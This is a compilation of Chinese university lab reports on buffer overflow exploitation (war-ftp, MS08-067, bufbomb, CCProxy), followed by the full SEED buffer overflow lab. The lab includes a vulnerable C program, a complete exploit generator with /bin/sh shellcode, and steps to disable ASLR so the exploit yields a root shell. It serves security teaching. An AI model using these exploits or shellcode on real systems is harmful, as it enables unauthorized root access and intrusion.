SEED信息安全实验系列:缓冲区溢出漏洞实验
网络攻击与防范实验报告-缓冲区溢出

网络攻击与防范实验报告姓名:____王小北___ 学号:___ 201411111111111111 _ 所在班级:实验名称:缓冲区溢出实验日期:2014年11月7日指导老师:实验评分:验收评语:实验目的:1.掌握缓冲区溢出的原理2.掌握常用的缓冲区溢出方法3.理解缓冲区溢出的危害性4.掌握防范和避免缓冲区溢出攻击的方法实验工具:溢出对象:war-ftp 1.65 ( 自己分析)调试工具:Debugging Tools for Windows 中(网上有下载)实验环境:虚拟机vmware workstation 10 Windows XP sp1高级语言编程:Socket编程VS2010实验步骤:原理:war-ftp 1.65版本的一个漏洞,即向服务器发送超过480字节的用户名可以触发漏洞(即使用命令USER longString\r\n),溢出之后ESP内容包含了longString中的部分内容。
过程:攻击者向war-ftp发送多余480字节的用户名,触发war-ftpd的漏洞,产生缓冲区溢出,此时war-ftpd将出现错误。
接下来通过PatterntTool工具构造的一串不重复字符串(1000个不同字符串,存入test.txt中),通过其时eip的内容,利用patternoffset.pl工具来确定RET的位置。
在网上寻找一段具有攻击效果的Shellcode,作为所发送的war-ftpd用户名。
其最主要是通过上边所确定的RET的位置,将“JMP ESP”指令的地址(0x7ffa4512)传递到RET 位置,最终目的是将指令指针转移到esp的位置。
同时我们可以通过确定esp的位置,从而在构造字符串时直接将shellcode代码加在在用户名上,使其能直接被放入esp所指的位置,即达到将其放入esp指向的缓冲区的目的。
通过发送构造的用户名,导致war-ftpd发生缓冲区溢出。
Shellcode的功能是建立一个新用户hack,可以用过net user命令来查看用户,最后发现攻击成功。
缓冲区溢出攻击

网络攻防对抗实验报告实验名称:缓冲区溢出攻击实验类型:验证型实验指导老师:专业班级:姓名:学号:电子邮件:实验地点:实验日期:年月日实验成绩:一、实验目的通过该实验,认识到缓冲区溢出攻击的原理和危害,建立关注操作系统和应用程序漏洞和升级服务的意识。
通过本次实验,了解缓冲区溢出攻击原理,掌握缓冲区溢出攻击的方法和策略。
二、实验内容1、使用缓冲区溢出攻击工具MS08067对目标主机进行缓冲区溢出攻击三、实验步骤1、在控制台窗口中直接输入命令对目标主机:10.11.1.148进行攻击攻击结果:攻击失败失败原因:目标主机防火墙未关闭2、在控制台窗口中直接输入命令对目标主机:10.11.1.142进行攻击攻击结果:攻击失败失败原因:目标主机已打补丁四、课后作业1、写出实验任务的步骤答:实验任务步骤:1、首先使用缓冲区溢出攻击工具对目标主机进行攻击2、当攻击成功后,使用telnet命令连接目标主机3.、连接目标主机,添加用户4、对刚才添加的用户进行提权2、如何防范缓冲区溢出攻击?1)、通过操作系统使得缓冲区不可执行,从而阻止攻击者植入攻击代码;2)、强制写正确的代码的方法;3)、利用编译器的边界检查来实现缓冲区的保护,使得缓冲区溢出不可能出现,从而完全消除了缓冲区溢出的威胁。
4)、在程序指针失效前进行完整性检查五、实验体会1、缓冲区溢出攻击方法原理:缓冲区溢出是指当计算机程序向缓冲区内填充的数据位数超过了缓冲区本身的容量。
溢出的数据覆盖在合法数据上。
当一个超长的数据进入到缓冲区时,超出部分就会被写入其他缓冲区,其他缓冲区存放的可能是数据、下一条指令的指针,或者是其他程序的输出内容,这些内容都被覆盖或者破坏掉。
这就为缓冲区溢出攻击提供了理论依据。
2、产生缓冲区溢出攻击原因:缓冲区溢出是由编程错误引起的。
如果缓冲区被写满,而程序没有去检查缓冲区边界,也没有停止接收数据,这时缓冲区溢出就会发生。
缓冲区边界检查被认为是不会有收益的管理支出,计算机资源不够或者内存不足是编程者不编写缓冲区边界检查语句的理由,然而摩尔定律已经使这一理由失去了存在的基础,但是多数用户仍然在主要应用中运行十年甚至二十年前的程序代码。
实验4 缓冲区溢出攻击实验

深圳大学实验报告课程名称:计算机系统(2)实验项目名称:缓冲区溢出攻击实验学院:计算机与软件学院专业:计算机科学与技术指导教师:罗秋明报告人:实验时间:2016年5月8日实验报告提交时间:2016年5月22日教务处制一、实验目标:1.理解程序函数调用中参数传递机制;2.掌握缓冲区溢出攻击方法;3.进一步熟练掌握GDB调试工具和objdump反汇编工具。
二、实验环境:1.计算机(Intel CPU)2.Linux64位操作系统(CentOs)3.GDB调试工具4.objdump反汇编工具三、实验内容本实验设计为一个黑客利用缓冲区溢出技术进行攻击的游戏。
我们仅给黑客(同学)提供一个二进制可执行文件bufbomb和部分函数的C代码,不提供每个关卡的源代码。
程序运行中有3个关卡,每个关卡需要用户输入正确的缓冲区内容,否则无法通过管卡!要求同学查看各关卡的要求,运用GDB调试工具和objdump反汇编工具,通过分析汇编代码和相应的栈帧结构,通过缓冲区溢出办法在执行了getbuf()函数返回时作攻击,使之返回到各关卡要求的指定函数中。
第一关只需要返回到指定函数,第二关不仅返回到指定函数还需要为该指定函数准备好参数,最后一关要求在返回到指定函数之前执行一段汇编代码完成全局变量的修改。
实验代码bufbomb和相关工具(sendstring/makecookie)的更详细内容请参考“实验四缓冲区溢出攻击实验.p ptx”。
本实验要求解决关卡1、2、3,给出实验思路,通过截图把实验过程和结果写在实验报告上。
四、实验步骤和结果步骤1 返回到smoke()1.1 解题思路首先弄清楚getbuf()的栈帧结构,知道存放字符数组buf地址的单元和存放getbuf()返回地址的单元之间相差多少个字节。
假设两者之间相差x个字节。
然后找到smoke()函数的入口地址。
该值为4个字节。
再构造exploit.txt,前x个字节随意填,然后再填入4个字节的smoke()地址,注意是小端方式存储。
0day缓冲区溢出实验报告

网络安全缓冲区溢出实践班级:信安一班学号:*************姓名:***1 栈溢出1.1 修改邻接值首先写一个密码验证程序,正确密码为1234567在ollydbg中进行调试在验证密码时输入8888888提示错误。
堆栈情况:可以看出,输入的password储存在0012FB7C处authenticated变量存储在0012FF7C处。
由于8888888>1234567,所以值为1。
如果输入溢出,情况是这样的:输入8888888wsk,发现sk溢出到了authenticated变量处而我们的目标是使authenticated被覆盖为0,因此,输入8个字符,字符串最后的’\0\即null会覆盖authenticated使它成为0。
不过并不是所有的8个字符都可以。
如果输入的字符串小于1234567,那么authenticated是-1的补码即FFFFFFFF,这时只修改最后的一位还是不能使authenticated成为00000000,如这时authenticated值为===================================================================== 1.2 修改函数返回地址改为从文件中读取密码超出buffer范围的字符会依次淹没authenticated、EBP和返回地址。
观察反汇编:此处00401005即为验证函数,取出EAX中的返回值与0比较,如果相等则跳入00401125。
所以将password文件修改如下:可以覆盖返回地址,使程序跳入验证正确的分支2 代码植入通过栈溢出让程序执行输入数据中植入的代码在输入数据里包含自己想要执行的代码,然后通过返回地址让程序跳转到系统栈里执行。
向password.txt文件里植入二进制的机器码。
调用windows的API函数将buffer长度扩展为44,先将password文件修改为11个4321来进行实验,验证通过后堆栈情况如图:buffer起始还是0012FB7C,authenticated也还是0012FF7C,后面依次为EBP和返回地址。
练习二缓冲区溢出

2012-2013学年第2学期《网络安全课程设计》实验报告实验名称:缓冲区溢出——本地缓冲区溢出完成时间: 2014.6.18 姓名:柳鑫学号:110342118指导教师:崔鸿班级:110342A任务一利用跳转指令实现缓冲区溢出本练习单人为一组。
首先使用“快照X”恢复Windows系统环境。
一.溢出程序演示(1)进入实验平台,单击工具栏“演示目录”按钮,进入实验目录。
进入Mission1目录,双击overflow_win.exe,加载ShellCode执行溢出操作。
二.溢出实现本练习操作通过缓冲区溢出来实现弹出消息框(MessageBox对话框)。
针对windows平台实现缓冲区溢出,该实验实现溢出的方式及流程具有着一定的通用性。
我们需要开发实现两部分内容:一部分是漏洞程序overflow,该程序通过memcpy 函数实现缓冲区溢出(添加shellcode的代码到缓冲区中,使缓冲区溢出),当然你也可以通过其它函数实现溢出。
另一部分内容则是生成shellcode,s hellcode是程序溢出后欲执行的指令代码,如通过shellcode实现程序溢出后弹出对话框等功能。
对照图22-2-1,在程序正常执行时,memcpy函数被执行完毕后,指令指针会返回至ret 地址处,继续执行memcpy函数调用处的后续指令;同时,执行完ret指令后ESP指针也会指向堆栈原始区(调用memcpy函数前一时刻的堆栈分布)。
因此,我们可以将溢出代码shellcode存在堆栈原始区,而剩下的工作就是在memcpy执行ret返回时让EIP指针指向原始区(也就是ESP指针指向的地址)即可。
如何通过ret返回地址确定此时的堆栈ESP指针指向呢?在这里采用的方法是通过跳转指令“jmp esp”(无条件跳转至esp指向处执行)。
通过在用户地址空间中查找到包含有“jmp esp”指令的存储地址,用该地址覆盖ret返回地址就可以了。
在具体实现时,我们通过三个步骤完成缓冲区溢出:(1)编写前导码。
栈溢出实验报告

华中科技大学计算机学院《信息系统应用安全》实验报告实验名称团队成员:注:团队成员贡献百分比之和为1 教师评语:一.实验环境? 操作系统:windows xp sp3 ? 编译平台:visual c++ 6.0 ? 调试环境:ollydbg二.实验目的1. 掌握缓冲区溢出的原理;2. 掌握缓冲区溢出漏洞的利用技巧;3. 理解缓冲区溢出漏洞的防范措施。
三.实验内容及步骤1. 缓冲区溢出漏洞产生的的基本原理和攻击方法? 缓冲区溢出模拟程序由于拷贝字符串时产生缓冲区溢出,用“abcd”字符串的值覆盖了原来eip的值,所以main函数返回时eip指向44434241,引发访问异常。
? 运行命令窗口的shellcode 由于把main函数的返回eip地址替换成了jmp esp的地址,main函数返回的时候就会执行我们的shellcode代码。
该shellcode,运行命令窗口。
2. ms06-040 缓冲区溢出漏洞分析和利用? 溢出点定位篇二:缓冲区溢出实验报告缓冲区溢出报告院系:计算机与通信工程学院班级:信息安全10-02班1. 实验目的掌握缓冲区溢出的原理掌握常用的缓冲区溢出方法理解缓冲区溢出的危害性掌握防范和避免缓冲区溢出攻击的方法2. 实验工具溢出对象:ccproxy 7.2(1)(2)调试工具:使用vmware虚拟机,安装ccproxy7.2进行实验调试。
3. 实验步骤了解ccproxy 7.2代理服务器为大家解决了很多问题,比如阻挡黑客攻击和局域网共享上网等。
? 国内非常受欢迎的一款代理服务器软件? 设置简单,使用方便关于ccproxy6.2缓冲区溢出漏洞说明ccproxy在代理telnet协议时,可以接受ping命令ping命令格式:ping hostname\r\n 当hostname的长度大于或者等于1010字节时,ccproxy 6.2会发生缓冲区溢出,导致程序崩溃ccproxy 6.2缓冲区溢出漏洞演示在目标主机运行ccproxy,使用默认设置运行ccproxy的机器ip是192.168.6.132 使用telnet命令连接ccproxy: telnet 192.168. 6.132 23 返回信息:(如图)输入ping命令,后接畸形数据:在ping命令后接10个字符a(ping aaaaaaaaaa),观察返回信息将字符a的数量变为100个、1000个、2000个,观察返回信息(注:由于本人安装的是7.2版本,其漏洞已修复,故智能识别252个字符,其后被截断,所以当出现的畸形字符长度超过252时,就不再被识别,所以会有“host not found”)原理:如果终端提示“host not found”,说明ccproxy正确地处理了这个畸形数据,仍工作正常如果终端提示“失去了跟主机的连接”,表明ccproxy已经崩溃ccproxy 6.2缓冲区溢出漏洞利用如何利用这个漏洞,来实现攻击目的,做一些特别的事情。
网络安全缓冲区溢出技术实验报告

网络实验报告一、实验目的及要求1、目的了解和掌握Win32平台缓冲区溢出原理;学会使用Win32平台Shellcode技术。
2、内容及要求以windows 2000 server虚拟机为测试对象,修改server.cpp和exploit.c,利用shellcode port bind给出的shellcode,远程获得CMD,并启动目标机器的ftp服务。
二、仪器用具计算机(分别装有windows server 2000和windows 7操作系统),本实验使用的是虚拟机Wmware8.0在同一台电脑上面安装两个操作系统。
三、实验方法与步骤在实验开始前,首先编写可能产生缓冲区溢出的程序(server.cpp)和测试程序(exploit.c)。
在server.cpp中能够产生缓冲区溢出的程序片段如下:void overflow(char * s,int size){char s1[50];printf("receive %d bytes",size);s[size]=0;strcpy(s1,s);}这两个程序的完整代码见附件。
由于本实验是在虚拟机环境下测试的,所以在开始实验前,分别记下两个系统的IP地址:运行server程序的系统IP地址为:192.168.209.131运行exploit程序的系统IP地址为:192.168.209.1实验的过程如下:1.在windows2000系统下分别编译server.cpp和exploit.c程序,详细过程如下:C:\test>cl server.cppC:\test>cl exploit.c编译完成后分别产生exploit.exe、exploit.obj、server.exe、server.obj截图如下图1所示:图 12.在windows2000系统中运行服务程序:server.cppC:\test>server.exe截图如下图2所示:图 23.将编译好的exploit程序拷贝到windows 7系统中来测试4.在windows 7系统中运行exploit.exe程序,如下D:\client\exploit.exe 192.168.209.131 8888截图如下图3所示:图3这样就可以获得目标主机的CMD了,接下来的任务是开启目标主机的FTP服务。
缓冲区溢出

网络安全实验教程
16
4.5 UAF类型缓冲区溢出实验
实验目的
✓ 了解UAF类型缓冲区溢出的原理; ✓ 掌握UAF类型缓冲区溢出的发生过程。
实验内容
✓ 使用VC 6.0的源码调试功能,观察内存块 p1的创建和释放过程,并观察p1释放后再 次使用的情况,以了解UAF类型缓冲区溢出 的原理。
网络安全实验教程
17
4.5 UAF类型缓冲区溢出实验
实验环境
✓ 操作系统:Windows XP SP3 32位; ✓ 编译工具:VC6.0。
网络安全实验教程
18
4.5 UAF类型缓冲区溢出实验
实验步骤
✓ 1.编译代码;
✓ 2.观察内存块p1->func仍然为未初始化的 0xcdcdcdcd;
✓ 3.观察内存块p1->func被赋值为myfunc函数 地址;
网络安全实验教程
20
4.6 覆盖返回地址实验
实验目的
✓ 了解通过覆盖返回地址进行缓冲区溢出利用 的原理;
✓ 掌握覆盖返回地址过程。
实验内容
✓ 在栈溢出实验的基础上,通过观察返回地址 被覆盖后的后续流程,了解和掌握通过覆盖 返回地址进行缓冲区溢出利用的技术。
网络安全实验教程
21
4.6 覆盖返回地址实验
✓ 1.编译代码; ✓ 2.使用VC6.0加载程序t1; ✓ 3.检查参数i大于10,不能通过条件判断; ✓ 4.修改参数i为65537; ✓ 5.观察上下文环境,i=0x00010001(65537)。
网络安全实验教程
14
4.4 整型溢出实验
✓ 6.发生宽度溢出:
➢ 注意到s=0x0001,i的高位被截断了。
EBP
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
缓冲区溢出漏洞实验一、实验描述缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。
这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。
这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。
二、实验准备本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。
1、输入命令安装一些用于编译32位C程序的东西:sudo apt-get updatesudo apt-get install lib32z1 libc6-dev-i386sudo apt-get install lib32readline-gplv2-dev2、输入命令“linux32”进入32位linux环境。
此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,所以输入“/bin/bash”使用bash:三、实验步骤3.1 初始设置Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。
因此本次实验中,我们使用以下命令关闭这一功能:sudo sysctl -w kernel.randomize_va_space=0此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。
因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。
linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。
为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。
下面的指令描述了如何设置zsh程序:sudo sucd /binrm shln -s zsh shexit3.2 shellcode一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。
而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。
观察以下代码:#include <stdio.h>int main( ) {char *name[2];name[0] = ‘‘/bin/sh’’;name[1] = NULL;execve(name[0], name, NULL);}本次实验的shellcode,就是刚才代码的汇编版本:\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x803.3 漏洞程序把以下代码保存为“stack.c”文件,保存到/tmp 目录下。
代码如下:/* stack.c *//* This program has a buffer overflow vulnerability. *//* Our task is to exploit this vulnerability */#include <stdlib.h>#include <stdio.h>#include <string.h>int bof(char *str){char buffer[12];/* The following statement has a buffer overflow problem */strcpy(buffer, str);return 1;}int main(int argc, char **argv){char str[517];FILE *badfile;badfile = fopen("badfile", "r");fread(str, sizeof(char), 517, badfile);bof(str);printf("Returned Properly\n");return 1;}通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。
编译该程序,并设置SET-UID。
命令如下:sudo sugcc -m32 -g -z execstack -fno-stack-protector -o stack stack.cchmod u+s stackexitGCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用–fno-stack-protector 关闭这种机制。
而-z execstack 用于允许执行栈。
3.4 攻击程序我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。
把以下代码保存为“exploit.c”文件,保存到/tmp 目录下。
代码如下:/* exploit.c *//* A program that creates a file containing code for launching shell*/#include <stdlib.h>#include <stdio.h>#include <string.h>char shellcode[]="\x31\xc0" //xorl %eax,%eax"\x50" //pushl %eax"\x68""//sh" //pushl $0x68732f2f"\x68""/bin" //pushl $0x6e69622f"\x89\xe3" //movl %esp,%ebx"\x50" //pushl %eax"\x53" //pushl %ebx"\x89\xe1" //movl %esp,%ecx"\x99" //cdq"\xb0\x0b" //movb $0x0b,%al"\xcd\x80" //int $0x80;void main(int argc, char **argv){char buffer[517];FILE *badfile;/* Initialize buffer with 0x90 (NOP instruction) */memset(&buffer, 0x90, 517);/* You need to fill the buffer with appropriate contents here */strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x 90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");strcpy(buffer+100,shellcode);/* Save the contents to the file "badfile" */badfile = fopen("./badfile", "w");fwrite(buffer, 517, 1, badfile);fclose(badfile);}注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。
而strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在buffer+100 的位置。
现在我们要得到shellcode在内存中的地址,输入命令:gdb stackdisass main结果如图:接下来的操作:根据语句strcpy(buffer+100,shellcode); 我们计算shellcode的地址为0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)现在修改exploit.c文件!将\x??\x??\x??\x?? 修改为\x14\xd2\xff\xff然后,编译exploit.c程序:gcc -m32 -o exploit exploit.c3.5 攻击结果先运行攻击程序exploit,再运行漏洞程序stack,观察结果:可见,通过攻击,获得了root权限!如果不能攻击成功,提示”段错误“,那么请重新使用gdb反汇编,计算内存地址。
四、练习1、按照实验步骤进行操作,攻击漏洞程序并获得root权限。
2、通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。
3、将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root 权限。
以上练习请在实验楼环境完成并截图。
License本课程所涉及的实验来自Syracuse SEED labs,并在此基础上为适配实验楼网站环境进行修改,修改后的实验文档仍然遵循GNU Free Documentation License。
本课程文档github链接:https:///shiyanlou/seedlab附Syracuse SEED labs版权声明:Copyright Statement Copyright 2006 –2014 Wenliang Du, SyracuseUniversity. The development of this document is funded by theNational Science Foundation’s Course, Curriculum, and LaboratoryImprovement (CCLI) program under Award No. 0618680 and0231122. Permission is granted to copy, distribute and/or modifythis document under the terms of the GNU Free DocumentationLicense, Version 1.2 or any later version published by the FreeSoftware Foundation. A copy of the license can befoundat /licenses/fdl.html.本文详细出自实验楼官方网站,转载请注明出处。